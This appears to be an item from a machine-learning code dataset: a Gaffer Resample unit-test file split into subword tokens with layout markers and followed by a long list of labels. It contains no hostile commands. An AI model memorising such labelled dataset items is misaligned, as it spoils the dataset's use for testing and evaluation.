"IS",
"\"",
" ",
"AND",
" ",
"ANY",
" ",
"EXPR",
"ESS",
" ",
"OR",
" ",
"IMPL",
"IED",
" ",
"WAR",
"RAN",
"TIES",
",",
" ",
"INC",
"LU",
"DING",
",",
" ",
"BUT",
" ",
"NOT",
" ",
"LIMIT",
"ED",
" ",
"TO",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"THE",
" ",
"IMPL",
"IED",
" ",
"WAR",
"RAN",
"TIES",
" ",
"OF",
" ",
"MER",
"CHAN",
"TAB",
"ILI",
"TY",
" ",
"AND",
" ",
"FIT",
"NESS",
" ",
"FOR",
" ",
"A",
" ",
"PARTI",
"CUL",
"AR_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"PUR",
"POS",
"E",
" ",
"ARE",
" ",
"DISC",
"LAI",
"MED",
".",
" ",
"IN",
" ",
"NO",
" ",
"EVENT",
" ",
"SHA",
"LL",
" ",
"THE",
" ",
"COPY",
"RIG",
"HT",
" ",
"OWNER",
" ",
"OR_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"CONTRIB",
"UTO",
"RS",
" ",
"BE",
" ",
"LI",
"AB",
"LE",
" ",
"FOR",
" ",
"ANY",
" ",
"DIRECT",
",",
" ",
"INDI",
"RECT",
",",
" ",
"INC",
"IDENT",
"AL",
",",
" ",
"SPECIAL",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"EXE",
"MPL",
"ARY",
",",
" ",
"OR",
" ",
"CONS",
"EQU",
"ENTI",
"AL",
" ",
"DA",
"MAGE",
"S",
" ",
"(",
"INC",
"LU",
"DING",
",",
" ",
"BUT",
" ",
"NOT",
" ",
"LIMIT",
"ED",
" ",
"TO",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"PROC",
"URE",
"MENT",
" ",
"OF",
" ",
"SUBST",
"ITU",
"TE",
" ",
"GOOD",
"S",
" ",
"OR",
" ",
"SERVICES",
";",
" ",
"LOSS",
" ",
"OF",
" ",
"USE",
",",
" ",
"DATA",
",",
" ",
"OR_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"PROF",
"IT",
"S",
";",
" ",
"OR",
" ",
"BUS",
"INE",
"SS",
" ",
"INTER",
"RU",
"PTION",
")",
" ",
"HO",
"WE",
"VER",
" ",
"CAU",
"SED",
" ",
"AND",
" ",
"ON",
" ",
"ANY",
" ",
"THE",
"ORY",
" ",
"OF_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"LI",
"ABI",
"LIT",
"Y",
",",
" ",
"WHE",
"THER",
" ",
"IN",
" ",
"CONTR",
"ACT",
",",
" ",
"STRI",
"CT",
" ",
"LI",
"ABI",
"LIT",
"Y",
",",
" ",
"OR",
" ",
"TOR",
"T",
" ",
"(",
"INC",
"LU",
"DING",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"NEG",
"LIG",
"ENCE",
" ",
"OR",
" ",
"OTHER",
"WI",
"SE",
")",
" ",
"ARI",
"SIN",
"G",
" ",
"IN",
" ",
"ANY",
" ",
"WAY",
" ",
"OUT",
" ",
"OF",
" ",
"THE",
" ",
"USE",
" ",
"OF",
" ",
"THIS",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"SOFT",
"WARE",
",",
" ",
"EVE",
"N",
" ",
"IF",
" ",
"ADV",
"ISE",
"D",
" ",
"OF",
" ",
"THE",
" ",
"POS",
"SIB",
"ILI",
"TY",
" ",
"OF",
" ",
"SUC",
"H",
" ",
"DA",
"MAGE",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"######",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"os_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"shutil_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"unittest_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"subprocess_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"IE",
"Core_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"Ga",
"ffer",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"Ga",
"ffer",
"Test_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"Ga",
"ffer",
"Image_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"Ga",
"ffer",
"Image",
"Test_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"\\u\\u",
"name\\u\\u_",
"==_",
"\"\\u\\u",
"main",
"\\u\\u\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"_",
"unittest_",
"._",
"main_",
"(_",
")_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Res",
"ample",
"Test_",
"(_",
"Ga",
"ffer",
"Image",
"Test_",
"._",
"Image",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Res",
"ample",
"Test_",
"(_",
"Ga",
"ffer",
"Image",
"Test_",
"._",
"Image",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"_",
"def_",
"test",
"Data",
"Window_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"c_",
"=_",
"Ga",
"ffer",
"Image_",
"._",
"Constant_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"[_",
"\"",
"color",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"IE",
"Core_",
"._",
"Color",
"4f",
"_",
"(_",
"1_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"r_",
"=_",
"Ga",
"ffer",
"Image_",
"._",
"Res",
"ample",
"_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"r_",
"[_",
"\"",
"in",
"\"_",
"]_",
"._",
"set",
"Input_",
"(_",
"c_",
"[_",
"\"",
"out",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"r_",
"[_",
"\"",
"data",
"Window",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"IE",
"Core_",
"._",
"Box",
"2f_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"IE",
"Core_",
"._",
"V2",
"f_",
"(_",
"10.5",
"_",
",_",
"11.",
"5_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"IE",
"Core_",
"._",
"V2",
"f_",
"(_",
"20.",
"5_",
",_",
"21.",
"5_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"r_",
"[_",
"\"",
"out",
"\"_",
"]_",
"[_",
"\"",
"data",
"Window",
"\"_",
"]_",
"._",
"get",
"Value_",
"(_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"IE",
"Core_",
"._",
"Box",
"2i",
"_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"IE",
"Core_",
"._",
"V2",
"i_",
"(_",
"10_",
",_",
"11_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"IE",
"Core_",
"._",
"V2",
"i_",
"(_",
"21_",
",_",
"22_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Res",
"ample",
"Test_",
"(_",
"Ga",
"ffer",
"Image",
"Test_",
"._",
"Image",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test",
"Expect",
"ed",
"Output_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"def_",
"\\u\\u",
"test_",
"(_",
"file",
"Name_",
",_",
"size_",
",_",
"filter_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t_",
"input",
"File",
"Name_",
"=_",
"os_",
"._",
"path_",
"._",
"dirname_",
"(_",
"\\u\\u",
"file\\u\\u_",
")_",
"+_",
"\"/",
"images",
"/\"_",
"+_",
"file",
"Name_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"reader_",
"=_",
"Ga",
"ffer",
"Image_",
"._",
"Image",
"Reader_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"reader_",
"[_",
"\"",
"file",
"Name",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"input",
"File",
"Name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"resample_",
"=_",
"Ga",
"ffer",
"Image_",
"._",
"Res",
"ample",
"_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"resample_",
"[_",
"\"",
"in",
"\"_",
"]_",
"._",
"set",
"Input_",
"(_",
"reader_",
"[_",
"\"",
"out",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"resample_",
"[_",
"\"",
"data",
"Window",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"IE",
"Core_",
"._",
"Box",
"2f_",
"(_",
"IE",
"Core_",
"._",
"V2",
"f_",
"(_",
"0_",
")_",
",_",
"IE",
"Core_",
"._",
"V2",
"f_",
"(_",
"size_",
"._",
"x_",
",_",
"size_",
"._",
"y_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"resample_",
"[_",
"\"",
"filter",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"filter_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"resample_",
"[_",
"\"",
"bound",
"ing",
"Mode",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"Ga",
"ffer",
"Image_",
"._",
"Sampler_",
"._",
"Bound",
"ing",
"Mode_",
"._",
"Cla",
"mp_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"crop_",
"=_",
"Ga",
"ffer",
"Image_",
"._",
"Cro",
"p_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"crop_",
"[_",
"\"",
"in",
"\"_",
"]_",
"._",
"set",
"Input_",
"(_",
"resample_",
"[_",
"\"",
"out",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"crop_",
"[_",
"\"",
"area",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"IE",
"Core_",
"._",
"Box",
"2i",
"_",
"(_",
"IE",
"Core_",
"._",
"V2",
"i_",
"(_",
"0_",
")_",
",_",
"size_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"output",
"File",
"Name_",
"=_",
"self_",
"._",
"temporar",
"y",
"Directory_",
"(_",
")_",
"+_",
"\"/%",
"s",
"\\u",
"%",
"dx",
"%",
"d\\u",
"%",
"s",
".",
"ex",
"r",
"\"_",
"%_",
"(_",
"os_",
"._",
"path_",
"._",
"splitext_",
"(_",
"file",
"Name_",
")_",
"[_",
"0_",
"]_",
",_",
"size_",
"._",
"x_",
",_",
"size_",
"._",
"y_",
",_",
"filter_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"writer_",
"=_",
"Ga",
"ffer",
"Image_",
"._",
"Image",
"Writer_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"writer_",
"[_",
"\"",
"in",
"\"_",
"]_",
"._",
"set",
"Input_",
"(_",
"crop_",
"[_",
"\"",
"out",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"writer_",
"[_",
"\"",
"file",
"Name",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"output",
"File",
"Name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"writer_",
"[_",
"\"",
"task",
"\"_",
"]_",
"._",
"execute_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"result_",
"=_",
"Ga",
"ffer",
"Image_",
"._",
"Image",
"Reader_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"result_",
"[_",
"\"",
"file",
"Name",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"writer_",
"[_",
"\"",
"file",
"Name",
"\"_",
"]_",
"._",
"get",
"Value_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"expected_",
"=_",
"Ga",
"ffer",
"Image_",
"._",
"Image",
"Reader_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"expected_",
"[_",
"\"",
"file",
"Name",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"%",
"s",
"/",
"images",
"/",
"%",
"s",
"\\u",
"%",
"dx",
"%",
"d\\u",
"%",
"s",
".",
"ex",
"r",
"\"_",
"%_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"os_",
"._",
"path_",
"._",
"dirname_",
"(_",
"\\u\\u",
"file\\u\\u_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"os_",
"._",
"path_",
"._",
"splitext_",
"(_",
"file",
"Name_",
")_",
"[_",
"0_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"size_",
"._",
"x_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"size_",
"._",
"y_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"filter_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Image",
"s",
"Equal_",
"(_",
"result_",
"[_",
"\"",
"out",
"\"_",
"]_",
",_",
"expected_",
"[_",
"\"",
"out",
"\"_",
"]_",
",_",
"max",
"Difference",
"_",
"=_",
"0.0005",
"_",
",_",
"ignore",
"Metadata_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Enable",
" ",
"to",
" ",
"write",
" ",
"out",
" ",
"images",
" ",
"for",
" ",
"visu",
"al",
" ",
"compa",
"ris",
"on",
" ",
"with",
" ",
"OI",
"IO",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"images",
" ",
"will",
" ",
"appear",
" ",
"in",
" ",
"a",
" ",
"\"",
"resample",
"Compari",
"son",
"\"",
" ",
"subdirectory",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"of",
" ",
"the",
" ",
"current",
" ",
"director",
"y",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"False_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t\t_",
"if_",
"not_",
"os_",
"._",
"path_",
"._",
"exists_",
"(_",
"\"",
"resample",
"Compari",
"son",
"\"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t\t\t_",
"os_",
"._",
"makedirs_",
"(_",
"\"",
"resample",
"Compari",
"son",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"shutil_",
"._",
"copyfile_",
"(_",
"output",
"File",
"Name_",
",_",
"\"",
"resample",
"Compari",
"son",
"/",
"ga",
"ffer",
"\\u\"_",
"+_",
"os_",
"._",
"path_",
"._",
"basename_",
"(_",
"output",
"File",
"Name_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"oi",
"io",
"Output",
"File",
"Name_",
"=_",
"\"",
"resample",
"Compari",
"son",
"/",
"oi",
"io",
"\\u",
"%",
"s",
"\\u",
"%",
"dx",
"%",
"d\\u",
"%",
"s",
".",
"ex",
"r",
"\"_",
"%_",
"(_",
"os_",
"._",
"path_",
"._",
"splitext_",
"(_",
"file",
"Name_",
")_",
"[_",
"0_",
"]_",
",_",
"size_",
"._",
"x_",
",_",
"size_",
"._",
"y_",
",_",
"filter_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"subprocess_",
"._",
"check",
"\\u",
"call_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"oi",
"iot",
"ool",
" ",
"--",
"thread",
"s",
" ",
"1",
" ",
"%",
"s",
" ",
"--",
"ch",
" ",
"R",
",",
"G",
",",
"B",
" ",
"--",
"resiz",
"e",
":",
"filter",
"=",
"%",
"s",
" ",
"%",
"dx",
"%",
"d",
" ",
" ",
"-",
"o",
" ",
"%",
"s",
"\"_",
"%_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"input",
"File",
"Name_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"filter_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"size_",
"._",
"x_",
",_",
"size_",
"._",
"y_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"oi",
"io",
"Output",
"File",
"Name_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"shell_",
"=_",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"tests_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"\"",
"resample",
"Patterns",
".",
"ex",
"r",
"\"_",
",_",
"IE",
"Core_",
"._",
"V2",
"i_",
"(_",
"4_",
")_",
",_",
"\"",
"lanc",
"zo",
"s3",
"\"_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"\"",
"resample",
"Patterns",
".",
"ex",
"r",
"\"_",
",_",
"IE",
"Core_",
"._",
"V2",
"i_",
"(_",
"40_",
")_",
",_",
"\"",
"box",
"\"_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"\"",
"resample",
"Patterns",
".",
"ex",
"r",
"\"_",
",_",
"IE",
"Core_",
"._",
"V2",
"i_",
"(_",
"101_",
")_",
",_",
"\"",
"gauss",
"ian",
"\"_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"\"",
"resample",
"Patterns",
".",
"ex",
"r",
"\"_",
",_",
"IE",
"Core_",
"._",
"V2",
"i_",
"(_",
"119_",
")_",
",_",
"\"",
"mit",
"che",
"ll",
"\"_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"args_",
"in_",
"tests_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t_",
"\\u\\u",
"test_",
"(_",
"*_",
"args_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Res",
"ample",
"Test_",
"(_",
"Ga",
"ffer",
"Image",
"Test_",
"._",
"Image",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test",
"Sin",
"c",
"Ups",
"ize_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"c_",
"=_",
"Ga",
"ffer",
"Image_",
"._",
"Constant_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"[_",
"\"",
"format",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"Ga",
"ffer",
"Image_",
"._",
"Format_",
"(_",
"100_",
",_",
"100_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"[_",
"\"",
"color",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"IE",
"Core_",
"._",
"Color",
"4f",
"_",
"(_",
"1_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"r_",
"=_",
"Ga",
"ffer",
"Image_",
"._",
"Res",
"ample",
"_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"r_",
"[_",
"\"",
"data",
"Window",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"IE",
"Core_",
"._",
"Box",
"2f_",
"(_",
"IE",
"Core_",
"._",
"V2",
"f_",
"(_",
"0_",
")_",
",_",
"IE",
"Core_",
"._",
"V2",
"f_",
"(_",
"400_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"r_",
"[_",
"\"",
"bound",
"ing",
"Mode",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"Ga",
"ffer",
"Image_",
"._",
"Sampler_",
"._",
"Bound",
"ing",
"Mode_",
"._",
"Cla",
"mp_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"r_",
"[_",
"\"",
"filter",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"\"",
"sinc",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"r_",
"[_",
"\"",
"in",
"\"_",
"]_",
"._",
"set",
"Input_",
"(_",
"c_",
"[_",
"\"",
"out",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"i_",
"=_",
"r_",
"[_",
"\"",
"out",
"\"_",
"]_",
"._",
"image_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"i_",
"[_",
"\"",
"R",
"\"_",
"]_",
"._",
"data_",
",_",
"IE",
"Core_",
"._",
"Float",
"Vector",
"Data_",
"(_",
"[_",
"1.0_",
"]_",
"*_",
"400_",
"*_",
"400_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Res",
"ample",
"Test_",
"(_",
"Ga",
"ffer",
"Image",
"Test_",
"._",
"Image",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test",
"Expand",
"Data",
"Window_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"d_",
"=_",
"IE",
"Core_",
"._",
"Box",
"2i",
"_",
"(_",
"IE",
"Core_",
"._",
"V2",
"i_",
"(_",
"5_",
",_",
"6_",
")_",
",_",
"IE",
"Core_",
"._",
"V2",
"i_",
"(_",
"101_",
",_",
"304_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"Ga",
"ffer",
"Image_",
"._",
"Constant_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"[_",
"\"",
"format",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"Ga",
"ffer",
"Image_",
"._",
"Format_",
"(_",
"d_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"r_",
"=_",
"Ga",
"ffer",
"Image_",
"._",
"Res",
"ample",
"_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"r_",
"[_",
"\"",
"in",
"\"_",
"]_",
"._",
"set",
"Input_",
"(_",
"c_",
"[_",
"\"",
"out",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"r_",
"[_",
"\"",
"data",
"Window",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"IE",
"Core_",
"._",
"Box",
"2f_",
"(_",
"IE",
"Core_",
"._",
"V2",
"f_",
"(_",
"d_",
"._",
"min_",
")_",
",_",
"IE",
"Core_",
"._",
"V2",
"f_",
"(_",
"d_",
"._",
"max_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"r_",
"[_",
"\"",
"filter",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"\"",
"box",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"r_",
"[_",
"\"",
"out",
"\"_",
"]_",
"[_",
"\"",
"data",
"Window",
"\"_",
"]_",
"._",
"get",
"Value_",
"(_",
")_",
",_",
"d_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"r_",
"[_",
"\"",
"expand",
"Data",
"Window",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"r_",
"[_",
"\"",
"out",
"\"_",
"]_",
"[_",
"\"",
"data",
"Window",
"\"_",
"]_",
"._",
"get",
"Value_",
"(_",
")_",
",_",
"IE",
"Core_",
"._",
"Box",
"2i",
"_",
"(_",
"d_",
"._",
"min_",
"-_",
"IE",
"Core_",
"._",
"V2",
"i_",
"(_",
"1_",
")_",
",_",
"d_",
"._",
"max_",
"+_",
"IE",
"Core_",
"._",
"V2",
"i_",
"(_",
"1_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"r_",
"[_",
"\"",
"filter",
"Wid",
"th",
"\"_",
"]_",
"._",
"set",
"Value_",
"(_",
"IE",
"Core_",
"._",
"V2",
"f_",
"(_",
"10_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"r_",
"[_",
"\"",
"out",
"\"_",
"]_",
"[_",
"\"",
"data",
"Window",
"\"_",
"]_",
"._",
"get",
"Value_",
"(_",
")_",
",_",
"IE",
"Core_",
"._",
"Box",
"2i",
"_",
"(_",
"d_",
"._",
"min_",
"-_",
"IE",
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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
